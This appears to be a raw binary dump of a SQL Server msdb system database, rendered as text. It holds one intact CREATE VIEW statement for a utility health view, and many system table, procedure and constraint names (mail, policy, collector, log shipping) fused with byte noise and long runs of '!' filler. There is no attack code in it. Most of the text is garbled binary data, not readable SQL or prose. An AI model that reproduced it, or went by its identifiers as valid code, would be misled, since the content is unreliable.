!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?`*<N/M{x0nx 8CREATE VIEW dbo.sysutility_ucp_mi_health 
AS
SELECT t.mi_name
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_volume_space_over_utilized, t.is_volume_space_under_utilized)) volume_space_health_state
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_computer_processor_over_utilized, t.is_computer_processor_under_utilized)) computer_processor_health_state
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_file_space_over_utilized, t.is_file_space_under_utilized)) file_space_health_state
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_mi_processor_over_utilized, t.is_mi_processor_under_utilized)) mi_processor_health_state
	   , CASE WHEN (is_volume_space_over_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_over_utilized_volumes
	   , CASE WHEN (is_volume_space_under_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_under_utilized_volumes 
	   , CASE WHEN (is_file_space_over_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_over_utilized_databases
	   , CASE WHEN (is_file_space_under_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_under_utilized_databases
	   , t.is_policy_overridden
	   , t.processing_time
FROM msdb.dbo.sysutility_ucp_mi_health_internal AS t
WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`0'"0
0\ma00^KK*F ]!qZ\fk_MSdbms_datatype_mapping_dest_datatype_id00Fk*@F Dڎ'[\FK_syscollector_collection_items_internal_syscollector_collection_sets_internal00Q*UQ,)\[\tUQ__sysdbmai__AEEEF1DB97C2620B00L*V (\\psysutility_ucp_deployed_dacs00C[*D 'K[\tDF__sysmail_m__send___2AD55B4300V*U ,S\u*^nsysutility_ucp_volumes_stub00me
+P Zw*^`sp_help_targetserver00`*+F A\\FK_syspolicy_policies_syspolicy_object_sets00o?+F x.PqZ\fk_MSdbms_map_default_datatype_mapping_id00(k_+@F Dڎ'[\FK_syscollector_collection_items_internal_syscollector_collector_types_internal00Ru+F ,)\[\tFK__sysdbmain__plan___2B94755200p+V \\hsysutility_ucp_computers00|+D 'K[\tDF__sysmail_m__sent___2BC97F7C00
{+U S\z*^rsysutility_ucp_computers_stub00+P Z|*^dsp_resync_targetserver007,P 	\*^fsp_syspolicy_create_job00Г3,V uZ#\^MSdatatype_mappings00aS,V D[#\rsyscollector_collection_items00,U ݆[*^dsysdbmaintplan_history00,V W\$\dsysutility_ucp_volumes00,D 'K[#\tDF__sysmail_m__last___2CBDA3B500F,U >6T\*^vsysutility_ucp_smo_servers_stub00߭,P Z*^^sp_purge_jobhistory00p-FN\*^nfn_syspolicy_get_ps_command00	'-V vZ%\^sysdatatypemappings00G-P 3[*^sp_syscollector_delete_collector_type00Ľ|-UQ,݆[$\tUQ__sysdbmai__B2649B259C75E80700DZ-D 'K[%\tDF__sysmail_m__last___2DB1C7EE00-U T\*^rsysutility_ucp_databases_stub00-P \Z*^fsp_help_jobhistory_full00.TRA_	\*^~syspolicy_insert_job_create_trigger00B.D _Z'\jdefault_sdl_error_message00;.P [*^sp_syscollector_verify_collection_item00U-V 
\%\sysutility_ucp_utility_space_utilization00B*SN\\psyn_sysutility_ucp_databases00f+SN(\\rsyn_sysutility_ucp_filegroups00s,SN2\#\psyn_sysutility_ucp_datafiles00+g-SN=\%\nsyn_sysutility_ucp_logfiles00d[.SNH\'\|syn_sysutility_ucp_cpu_utilization!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:R
z

D
p
		4	(d(Lx8F`0."
1]Y00x2D cT1`V\-\tDF__sysutilit__physi__3296789C0052P [*^Zsp_help_jobserver00Ƃ2TRA\*^syspolicy_instead_delete_policy_trigger00_2U 	Z*^Rsyssubsystems003P l[*^sp_syscollector_delete_collection_item0053D ,	݆[.\tDF__sysdbmain__durat__3335971A00Dj3V L[0\Xsysmail_allitems00՜3D cT1`V\/\tDF__sysutilit__serve__338A9CD500n3P [*^`sp_help_downloadlist003V 5
\0\\syspolicy_policies003U ˹Z*^Zsysproxysubsystem00)3P l[*^sp_syscollector_start_collection_set00S)4D ,݆[0\tDF__sysdbmain__error__3429BB5300}^4V L[1\Zsysmail_sentitems00~4D cT1`V\0\tDF__sysutilit__datab__347EC10E00ϓ4P ][*^sp_enum_sqlagent_subsystems_internal008˳4TRK
\*^|syspolicy_insert_condition_trigger004U Z*^Rsysproxylogin00b4P Y[*^~sp_syscollector_stop_collection_set005P [*^lsp_clear_dbmaintplan_by_db00R5V aM[3\^sysmail_unsentitems00Gr5U 
V\*^sysutility_ucp_space_utilization_stub005P [*^nsp_enum_sqlagent_subsystems00q5TRKP\*^syspolicy_for_update_condition_trigger00
5D 4Z3\tDF__sysproxyl__flags__35BCFE0A005P &[*^sp_syscollector_get_collection_set_execution_status006P #[*^fsp_add_maintenance_plan00
G6V M[4\^sysmail_faileditems00	g6D Gr5V\4\tDF__sysutilit__virtu__3667098000|6P u[*^^sp_verify_subsystem006TRK\+^syspolicy_after_update_condition_trigger00C"6V |Z5\nsysproxyloginsubsystem_view006P [	+^sp_syscollector_upload_collection_set00'7P [+^lsp_delete_maintenance_plan00(2;7P pN[+^nsysmail_delete_mailitems_sp00-[7D Gr5V\5\tDF__sysutilit__serve__375B2DB900U3V j\/\rsysutility_ucp_database_files00I4V \1\sysutility_ucp_mi_database_file_space_utilizations00=5V \3\sysutility_ucp_dac_database_file_space_utilizations00V16V V\4\sysutility_ucp_mi_volume_space_utilizations00#&7V \6\sysutility_ucp_dac_volume_space_utilizations00 3D D0i\j\tDF__log_shipp__backu__33208881004U i\*^xlog_shipping_primary_secondaries005PK4j\k\fpklsprimary_secondaries00,5U 
j\*^plog_shipping_monitor_primary00e6PK,5j\k\tPK__log_ship__ED3BE1119B826ADF!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!